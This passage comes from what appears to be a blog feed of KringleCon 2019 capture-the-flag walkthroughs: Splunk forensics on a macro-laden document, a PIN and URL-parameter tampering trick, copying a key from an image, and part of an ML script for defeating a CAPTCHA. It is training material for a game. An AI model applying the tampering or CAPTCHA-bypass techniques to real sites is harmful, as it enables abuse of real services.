&lt;li>ElfU Splunk Search: &lt;a href="https://splunk.elfu.org/en-GB/app/SA-elfusoc/search">https://splunk.elfu.org/en-GB/app/SA-elfusoc/search&lt;/a>&lt;/li>
&lt;li>ElfU File Archive: &lt;a href="http://elfu-soc.s3-website-us-east-1.amazonaws.com/">http://elfu-soc.s3-website-us-east-1.amazonaws.com/&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Since I never used Splunk before, I went through the training questions anyway to learn the logic of Splunk:&lt;/p>
&lt;h4 id="q1---what-is-the-short-host-name-of-professor-banas-computer">Q1 - What is the short host name of Professor Banas&amp;rsquo; computer?&lt;/h4>
&lt;p>This can be answered by simply paying attention to the discussion in the chat windows. If you missed it go back to the group chat called &lt;strong>Chat with #ELFU SOC&lt;/strong> and read it again. Then you will see that the answer is &lt;strong>sweetums&lt;/strong>.&lt;/p>
&lt;h4 id="q2---what-is-the-fully-path-and-name-of-the-sensitive-file-that-was-likely-accessed-and-copied-by-the-attacker">Q2 - What is the fully path and name of the sensitive file that was likely accessed and copied by the attacker?&lt;/h4>
&lt;p>For this question, Alice mentioned that Prof. Banas is really close with Santa, and that they worry that the attacker who compromised the Prof&amp;rsquo;s machine may have accessed some sensitive information related to Santa. Her tip is to do a simple text search for something you are interested in, which she says can lead straight to the answer quite often. So when you search the data for any mention of &lt;strong>santa&lt;/strong> you will get a few hits, the answer can be found within the below text:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-xml" data-lang="xml">ParameterBinding(Format-List):
name=&amp;#34;InputObject&amp;#34;;
value=&amp;#34;C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt:1:Carl, you know there&amp;#39;s no one I trust more than you to help. Can you have a look at this draft Naughty and Nice list for 2019 and let me know your thoughts? -Santa&amp;#34;
&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="q3---what-is-the-fully-qualified-domain-namefqdn-of-the-command-and-controlc2-server">Q3 - What is the fully-qualified domain name(FQDN) of the command and control(C2) server?&lt;/h4>
&lt;p>Since these questions are meant to be for training, Alice will almost give you the correct search term straight away. In one of her messages she posted a link to a Splunk search that she did with the below parameters:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">&lt;span class="nv">index&lt;/span>&lt;span class="o">=&lt;/span>main &lt;span class="nv">sourcetype&lt;/span>&lt;span class="o">=&lt;/span>XmlWinEventLog:Microsoft-Windows-Sysmon/Operational powershell &lt;span class="nv">EventCode&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">3&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This Splunk search gave away the answer in the first search result. The C&amp;amp;C server&amp;rsquo;s FQDN is: &lt;strong>144.202.46.214.vultr.com&lt;/strong>.&lt;/p>
&lt;h4 id="q4---what-document-is-involved-with-launching-the-malicious-powershell-code-provide-just-file-name">Q4 - What document is involved with launching the malicious PowerShell code (provide just file name)?&lt;/h4>
&lt;p>For this question Alice showed a neat technique which can help filter the pool of event logs by setting a time-window of +/- 5 seconds of some interesting event at a particular point in time. Eventually she points out that you are looking for a document, so why not search for the string &lt;strong>doc&lt;/strong> and see what comes up:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">19th Century Holiday Cheer Assignment.doc
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This seemed promising, however this was not accepted as the answer. Then I remembered that word documents have different extensions such as &lt;strong>.docx&lt;/strong>, &lt;strong>.docm&lt;/strong> and so on, so I did a Google search for PowerShell execution from Word and realized that this requires Word Macros to be enabled, which means the file should have the &lt;strong>.docm&lt;/strong> extension. Next I tried the same search but for &lt;strong>docm&lt;/strong> and this time and the same filename popped up, but with .docm extension, which was the correct answer: &lt;strong>19th Century Holiday Cheer Assignment.docm&lt;/strong>.&lt;/p>
&lt;h4 id="q5---how-many-unique-email-addresses-were-used-to-send-holiday-cheer-essays-to-professor-banas">Q5 - How many unique email addresses were used to send Holiday Cheer essays to Professor Banas?&lt;/h4>
&lt;p>To answer this one, Alice gave some useful info on
&lt;a href="https://stoq.punchcyber.com/" target="_blank" rel="noopener">StoQ&lt;/a> and a starting query as well. If you modify the query a bit to show less info, you can easily count the emails manually:&lt;/p>
&lt;p>&lt;code>index=main sourcetype=stoq | table _time results{}.workers.smtp.to results{}.workers.smtp.subject | sort - _time&lt;/code>&lt;/p>
&lt;p>Just sort the table based on the subject line and count how many there are for subject: &lt;strong>Holiday Cheer Assignment Submission&lt;/strong>. In total you should get &lt;strong>21&lt;/strong> which is the correct answer.&lt;/p>
&lt;h4 id="q6---what-was-the-password-for-the-zip-archive-that-contained-the-suspicious-file">Q6 - What was the password for the zip archive that contained the suspicious file?&lt;/h4>
&lt;p>This one you can solve very easily without many hints, if you cared to read some of the emails that Prof received from his students as part of their course submissions. The ZIP which contained the malicious word document that was locked with the password &lt;strong>123456789&lt;/strong> which was mentioned in the email as well. Not very strong, nor secure&amp;hellip;&lt;/p>
&lt;h4 id="q7---what-email-address-did-the-suspicious-file-come-from">Q7 - What email address did the suspicious file come from?&lt;/h4>
&lt;p>This question was answered easily if you inspected any of the emails from the previous question. The sender was &lt;strong>&lt;a href="mailto:bradly.buttercups@eifu.org">bradly.buttercups@eifu.org&lt;/a>&lt;/strong>.&lt;/p>
&lt;h2 id="main-question">Main Question&lt;/h2>
&lt;p>Finally, to answer the main question of Objective 6, return to Alice for some additional hints. For obvious reasons the malicious document is not available for you to inspect, but the File Archive she mentioned earlier is a good place to look if you know what to look for. She also pointed out that it contains metadata from &lt;strong>StoQ&lt;/strong>, and also provided a search term:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">&lt;span class="nv">index&lt;/span>&lt;span class="o">=&lt;/span>main &lt;span class="nv">sourcetype&lt;/span>&lt;span class="o">=&lt;/span>stoq &lt;span class="s2">&amp;#34;results{}.workers.smtp.from&amp;#34;&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;bradly buttercups &amp;lt;bradly.buttercups@eifu.org&amp;gt;&amp;#34;&lt;/span>
&lt;span class="p">|&lt;/span> &lt;span class="nb">eval&lt;/span> &lt;span class="nv">results&lt;/span> &lt;span class="o">=&lt;/span> spath&lt;span class="o">(&lt;/span>_raw, &lt;span class="s2">&amp;#34;results{}&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span>
&lt;span class="p">|&lt;/span> mvexpand results
&lt;span class="p">|&lt;/span> &lt;span class="nb">eval&lt;/span> &lt;span class="nv">path&lt;/span>&lt;span class="o">=&lt;/span>spath&lt;span class="o">(&lt;/span>results, &lt;span class="s2">&amp;#34;archivers.filedir.path&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span>, &lt;span class="nv">filename&lt;/span>&lt;span class="o">=&lt;/span>spath&lt;span class="o">(&lt;/span>results, &lt;span class="s2">&amp;#34;payload_meta.extra_data.filename&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span>, &lt;span class="nv">fullpath&lt;/span>&lt;span class="o">=&lt;/span>path.&lt;span class="s2">&amp;#34;/&amp;#34;&lt;/span>.filename
&lt;span class="p">|&lt;/span> search fullpath!&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;span class="p">|&lt;/span> table filename,fullpath
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The final hint from Alice will definitely lead you to the file that you need to answer the question. Can you get it?&lt;/p>
&lt;blockquote>
&lt;p>Last thing for you today: Did you know that modern Word documents are (at their core) nothing more than a bunch of .xml files?&lt;/p>
&lt;/blockquote>
&lt;p>Of course it is the &lt;strong>core.xml&lt;/strong>. The Splunk search she gave you shows that its path is: &lt;code>/home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4/core.xml&lt;/code>. So now you just need to navigate to this file in the File Archive, download it and peek inside:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="cp">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34; standalone=&amp;#34;yes&amp;#34;?&amp;gt;&lt;/span>
&lt;span class="nt">&amp;lt;cp:coreProperties&lt;/span> &lt;span class="na">xmlns:cp=&lt;/span>&lt;span class="s">&amp;#34;http://schemas.openxmlformats.org/package/2006/metadata/core-properties&amp;#34;&lt;/span>
&lt;span class="na">xmlns:dc=&lt;/span>&lt;span class="s">&amp;#34;http://purl.org/dc/elements/1.1/&amp;#34;&lt;/span> &lt;span class="na">xmlns:dcterms=&lt;/span>&lt;span class="s">&amp;#34;http://purl.org/dc/terms/&amp;#34;&lt;/span>
&lt;span class="na">xmlns:dcmitype=&lt;/span>&lt;span class="s">&amp;#34;http://purl.org/dc/dcmitype/&amp;#34;&lt;/span>
&lt;span class="na">xmlns:xsi=&lt;/span>&lt;span class="s">&amp;#34;http://www.w3.org/2001/XMLSchema-instance&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;span class="nt">&amp;lt;dc:title&amp;gt;&lt;/span>Holiday Cheer Assignment&lt;span class="nt">&amp;lt;/dc:title&amp;gt;&lt;/span>
&lt;span class="nt">&amp;lt;dc:subject&amp;gt;&lt;/span>19th Century Cheer&lt;span class="nt">&amp;lt;/dc:subject&amp;gt;&lt;/span>
&lt;span class="nt">&amp;lt;dc:creator&amp;gt;&lt;/span>Bradly Buttercups&lt;span class="nt">&amp;lt;/dc:creator&amp;gt;&lt;/span>
&lt;span class="nt">&amp;lt;cp:keywords&amp;gt;&amp;lt;/cp:keywords&amp;gt;&lt;/span>
&lt;span class="nt">&amp;lt;dc:description&amp;gt;&lt;/span>Kent you are so unfair. And we were going to make you the king of the Winter Carnival.&lt;span class="nt">&amp;lt;/dc:description&amp;gt;&lt;/span>
&lt;span class="nt">&amp;lt;cp:lastModifiedBy&amp;gt;&lt;/span>Tim Edwards&lt;span class="nt">&amp;lt;/cp:lastModifiedBy&amp;gt;&amp;lt;cp:revision&amp;gt;&lt;/span>4&lt;span class="nt">&amp;lt;/cp:revision&amp;gt;&lt;/span>
&lt;span class="nt">&amp;lt;dcterms:created&lt;/span> &lt;span class="na">xsi:type=&lt;/span>&lt;span class="s">&amp;#34;dcterms:W3CDTF&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>2019-11-19T14:54:00Z&lt;span class="nt">&amp;lt;/dcterms:created&amp;gt;&lt;/span>
&lt;span class="nt">&amp;lt;dcterms:modified&lt;/span> &lt;span class="na">xsi:type=&lt;/span>&lt;span class="s">&amp;#34;dcterms:W3CDTF&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>2019-11-19T17:50:00Z&lt;span class="nt">&amp;lt;/dcterms:modified&amp;gt;&lt;/span>
&lt;span class="nt">&amp;lt;cp:category&amp;gt;&amp;lt;/cp:category&amp;gt;&amp;lt;/cp:coreProperties&amp;gt;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>You will find the secret message to Kent within the &lt;strong>&amp;lt;dc:description&amp;gt;&lt;/strong> tag:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">Kent you are so unfair. And we were going to make you the king of the Winter Carnival.
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>The Steam Tunnels</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective7/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective7/</guid><description>&lt;h2 id="hack-that-trail">Hack that trail!&lt;/h2>
&lt;p>Instructions from the badge:&lt;/p>
&lt;blockquote>
&lt;p>Gain access to the steam tunnels.
Who took the turtle doves? Please tell us their first and last name.
For hints on achieving this objective, please visit Minty&amp;rsquo;s dorm room and talk with Minty Candy Cane.&lt;/p>
&lt;/blockquote>
&lt;p>You are told you can find hints in the dorm, so you head there, but before you can enter, you need to solve the PIN at the entrance. Luckily there was an Elf who was ready to provide some hints for this:&lt;/p>
&lt;p>&lt;img src="../images/obj7-dorm.png" alt="Dorm Entrance">&lt;/p>
&lt;blockquote>
&lt;p>Hey kid, it&amp;rsquo;s me, Tangle Coalbox.
I&amp;rsquo;m sleuthing again, and I could use your help.
Ya see, this here number lock&amp;rsquo;s been popped by someone.
I think I know who, but it&amp;rsquo;d sure be great if you could open this up for me.
I&amp;rsquo;ve got a few clues for you.&lt;/p>
&lt;ol>
&lt;li>One digit is repeated once.&lt;/li>
&lt;li>The code is a prime number.&lt;/li>
&lt;li>You can probably tell by looking at the keypad which buttons are used.&lt;/li>
&lt;/ol>
&lt;/blockquote>
&lt;p>To find all the primes which adhere to these constraints, I wrote a small python script that produced the below candidates:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">&lt;span class="m">1307&lt;/span>
&lt;span class="m">1373&lt;/span>
&lt;span class="m">1733&lt;/span>
&lt;span class="m">3137&lt;/span>
&lt;span class="m">3371&lt;/span>
&lt;span class="m">3701&lt;/span>
&lt;span class="m">7013&lt;/span>
&lt;span class="m">7103&lt;/span>
&lt;span class="m">7331&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then I randomly tried the numbers from the bottom of the list, and the first one already opened the door. So finally you are in the dorm and you notice the same PIN is written on the wall&amp;hellip; :D&lt;/p>
&lt;p>&lt;img src="../images/obj7-dorm2.png" alt="Splunk Interface">&lt;/p>
&lt;p>Some hint from Minty:&lt;/p>
&lt;blockquote>
&lt;p>Hi! I&amp;rsquo;m Minty Candycane!
I just LOVE this old game!
I found it on a 5 1/4&amp;rdquo; floppy in the attic.
You should give it a go!
If you get stuck at all, check out this year&amp;rsquo;s talks.
One is about web application penetration testing.
Good luck, and don&amp;rsquo;t get dysentery!&lt;/p>
&lt;/blockquote>
&lt;p>So if you click on the Terminal, it will open a browser frame with a game called &lt;strong>The Holiday Hack Trail&lt;/strong>. You are tasked to solve it. There are 3 modes, &lt;strong>Easy&lt;/strong>, &lt;strong>Medium&lt;/strong> and &lt;strong>Hard&lt;/strong>. As you increase difficulty, you need to solve the same problem with less and less resources (money). On Easy mode, it was rather trivial, on Medium it needed some effort, while on Hard I am not sure if it is possible to solve without some hacking. Instructions on the starting screen:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-text" data-lang="text">It&amp;#39;s nearly time for Kringlecon.
You need to get there before the 25th day of December!
Hitch up your reindeer, gather your supplies, and do your best to make it to the North Pole on time.
Good luck!
&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you select Easy mode, you will notice that the URL contains a bunch of parameters. Apparently, the game in this mode is controlled via URL parameters, which are easy to mess with&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">hhc://trail.hhc/store/?difficulty&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">distance&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">money&lt;/span>&lt;span class="o">=&lt;/span>5000&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">pace&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">curmonth&lt;/span>&lt;span class="o">=&lt;/span>7&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">curday&lt;/span>&lt;span class="o">=&lt;/span>1&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">reindeer&lt;/span>&lt;span class="o">=&lt;/span>2&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">runners&lt;/span>&lt;span class="o">=&lt;/span>2&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">ammo&lt;/span>&lt;span class="o">=&lt;/span>100&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">meds&lt;/span>&lt;span class="o">=&lt;/span>20&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">food&lt;/span>&lt;span class="o">=&lt;/span>400&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">name0&lt;/span>&lt;span class="o">=&lt;/span>Ryan&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">health0&lt;/span>&lt;span class="o">=&lt;/span>100&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">cond0&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">causeofdeath0&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">deathday0&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">deathmonth0&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">name1&lt;/span>&lt;span class="o">=&lt;/span>Vlad&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">health1&lt;/span>&lt;span class="o">=&lt;/span>100&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">cond1&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">causeofdeath1&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">deathday1&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">deathmonth1&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">name2&lt;/span>&lt;span class="o">=&lt;/span>Jane&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">health2&lt;/span>&lt;span class="o">=&lt;/span>100&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">cond2&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">causeofdeath2&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">deathday2&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">deathmonth2&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">name3&lt;/span>&lt;span class="o">=&lt;/span>Chris&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">health3&lt;/span>&lt;span class="o">=&lt;/span>100&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">cond3&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">causeofdeath3&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">deathday3&lt;/span>&lt;span class="o">=&lt;/span>0&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">deathmonth3&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">0&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Particularly interesting is the second parameter: &lt;strong>distance&lt;/strong>. Turns out if you start the game, then modify this parameter, your position will suddenly jump to the position you entered for this param. The goal is to travel 8000 units of distance. If you modify it to be 7999 and then hit &lt;strong>Go&lt;/strong> one more time, then you win straight away. On Medium and Hard modes, this hack is not available however, but for our purposes, this was enough, as solving it on Easy mode already gives you the hints necessary to progress to solving the main Objective.&lt;/p>
&lt;p>&lt;img src="../images/obj7-trail.png" alt="Holiday Hack Trail">&lt;/p>
&lt;blockquote>
&lt;p>You made it - congrats!
Have you played with the key grinder in my room? Check it out!
It turns out: if you have a good image of a key, you can physically copy it.
Maybe you&amp;rsquo;ll see someone hopping around with a key here on campus.
Sometimes you can find it in the Network tab of the browser console.
Deviant has a great talk on it at this year&amp;rsquo;s Con.
He even has a collection of key bitting templates for common vendors like Kwikset, Schlage, and Yale.&lt;/p>
&lt;/blockquote>
&lt;p>So the room which hides the entrance to the Steam Tunnels is at the end of the hallway where Minty is, and it seems you will need to do some key crafting. Also mentioned by Minty is a KringleCon
&lt;a href="https://www.youtube.com/watch?v=tbyAc-7Wtv8" target="_blank" rel="noopener">talk&lt;/a> by Deviant Ollam, about physical security around keys and how can one go about copying them.&lt;/p>
&lt;h2 id="bitting-those-keys">Bitting those keys!&lt;/h2>
&lt;p>So once you enter the room, you will notice a small key bitting
&lt;a href="https://key.elfu.org/" target="_blank" rel="noopener">device&lt;/a> on the table, which is useful for crafting keys. You will need it for opening the door to the Steam Tunnels, which hides in the next room, where that character is hopping into:&lt;/p>
&lt;p>&lt;img src="../images/obj7-room.png" alt="Key Room">&lt;/p>
&lt;p>Before you start working on the challenge, be sure to spend a moment to appreciate the decoration. It is quite nicely done! So then when you are ready, it&amp;rsquo;s useful to consider the hint by Minty again. Minty mentioned previously, that sometimes it&amp;rsquo;s enough to have a good image of a key, in order to copy it, not necessary to have physical access. If you watched the youtube video from the hint, then you will definitely know what to do.&lt;/p>
&lt;p>The last thing you need to realise is that the character hopping into the room, wears a key on his waist. If you open the Developer tools of your browser and check the source of that object you will discover that he is the &lt;strong>Krampus&lt;/strong> and if you want to see his key properly, just visit:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">https://2019.kringlecon.com/images/avatars/elves/krampus.png
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once you have the imge and get a good look at the key you can decipher it and find the correct bitting: &lt;strong>122520&lt;/strong>. If you enter this into the bitting machine at &lt;strong>key.elfu.org&lt;/strong> then you will get a key which opens the entrance to the Steam Tunnels. Once you find your way to the end of the Steam Tunnel, you will meet again with &lt;strong>Krampus Hollyfeld&lt;/strong> that is the answer to Objective 7.&lt;/p>
&lt;p>&lt;img src="../images/obj7-tunnels.png" alt="Krampus in Tunnel">&lt;/p>
&lt;blockquote>
&lt;p>Hello there! I’m Krampus Hollyfeld.
I maintain the steam tunnels underneath Elf U,
Keeping all the elves warm and jolly.
Though I spend my time in the tunnels and smoke,
In this whole wide world, there&amp;rsquo;s no happier bloke!&lt;/p>
&lt;/blockquote></description></item><item><title>Frido Sleigh contest</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective8/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective8/</guid><description>&lt;h2 id="can-i-has-cookiez">Can I has cookiez?&lt;/h2>
&lt;p>After talking with Krampus in the Steam Tunnels you realise that he knows a lot about what is going on at Elf Uni. But before he is ready to share some intel, you need to earn his trust&amp;hellip; so he asks you to win the Frido Sleigh contest which will award him with a lifetime supply of cookies. Sadly, however, the contest uses a CAPTEHA challenge, which stands for &lt;code>Completely Automated Public Turing test to tell Elves and Humans Apart&lt;/code>. Krampus is not an elf, and neither are you, so you may need to use something advanced enough that can fool the CAPTEHA and let you bypass it &amp;hellip;&lt;/p>
&lt;blockquote>
&lt;p>But, before I can tell you more, I need to know that I can trust you.
Tell you what – if you can help me beat the Frido Sleigh contest (Objective 8), then I&amp;rsquo;ll know I can trust you.
The contest is here on my screen and at fridosleigh.com.
No purchase necessary, enter as often as you want, so I am!
They set up the rules, and lately, I have come to realize that I have certain materialistic, cookie needs.
Unfortunately, it&amp;rsquo;s restricted to elves only, and I can&amp;rsquo;t bypass the CAPTEHA.
(That&amp;rsquo;s Completely Automated Public Turing test to tell Elves and Humans Apart.)
I&amp;rsquo;ve already cataloged 12,000 images and decoded the API interface.
Can you help me bypass the CAPTEHA and submit lots of entries?&lt;/p>
&lt;/blockquote>
&lt;p>Links from the hint:&lt;/p>
&lt;ul>
&lt;li>Frido Sleigh Contest: &lt;a href="https://fridosleigh.com/">https://fridosleigh.com/&lt;/a>&lt;/li>
&lt;li>CAPTEHA images: &lt;a href="https://downloads.elfu.org/capteha_images.tar.gz">https://downloads.elfu.org/capteha_images.tar.gz&lt;/a>&lt;/li>
&lt;li>Python tool to interact with the API: &lt;a href="https://downloads.elfu.org/capteha_api.py">https://downloads.elfu.org/capteha_api.py&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="../images/obj8-capteha.png" alt="Frido Sleigh CAPTEHA">&lt;/p>
&lt;p>Basically, your task is to use Machine Learning in order to train a model that can predict the category for every image in the CAPTEHA challenge and use this to submit the correct response before the CAPTEHA times out. The python script provided is of great use, but the core ML code is missing and it is not trivial to implement. Lucky for you, there is a KringleCon talk about Machine Learning for Security, which points to a Github Repository with some very useful code for this missing part:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">https://github.com/chrisjd20/img_rec_tf_ml_demo
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This library implements image recognition based on Machine Learning with TensorFlow, and it is almost a copy paste solution for this CAPTEHA python script that has some missing parts. You just need to train the model on the 12000 sample images provided by Krampus. The repo provides the training source code, as well as the prediction you can reuse in the script for interacting with the Frido Sleigh API.&lt;/p>
&lt;p>A complete solution can be found in my GitHub
&lt;a href="https://github.com/florianakos/kringlecon-capteha" target="_blank" rel="noopener">repo&lt;/a>. Most important part is the integrated ML section:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="n">graph&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">load_graph&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/tmp/retrain_tmp/output_graph.pb&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="n">labels&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">load_labels&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/tmp/retrain_tmp/output_labels.txt&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="c1"># Load up our session&lt;/span>
&lt;span class="n">input_operation&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">graph&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_operation_by_name&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;import/Placeholder&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="n">output_operation&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">graph&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_operation_by_name&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;import/final_result&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="n">sess&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">tf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">compat&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">v1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Session&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">graph&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">graph&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="c1"># Can use queues and threading to spead up the processing&lt;/span>
&lt;span class="n">q&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">queue&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Queue&lt;/span>&lt;span class="p">()&lt;/span>
&lt;span class="c1">#Going to interate over each of our images.&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="n">image&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">b64_images&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="n">image_uuid&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">image&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;uuid&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;span class="k">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Processing Image {}&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">image_uuid&lt;/span>&lt;span class="p">))&lt;/span>
&lt;span class="c1"># We don&amp;#39;t want to process too many images at once. 10 threads max&lt;/span>
&lt;span class="k">while&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">threading&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">enumerate&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="n">time&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mf">0.0001&lt;/span>&lt;span class="p">)&lt;/span>
&lt;span class="c1">#predict_image function is expecting png image bytes so we read image as &amp;#39;rb&amp;#39; to get a bytes object&lt;/span>
&lt;span class="n">image_bytes&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">image&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;base64&amp;#34;&lt;/span>&lt;span class="p">])&lt;/span>
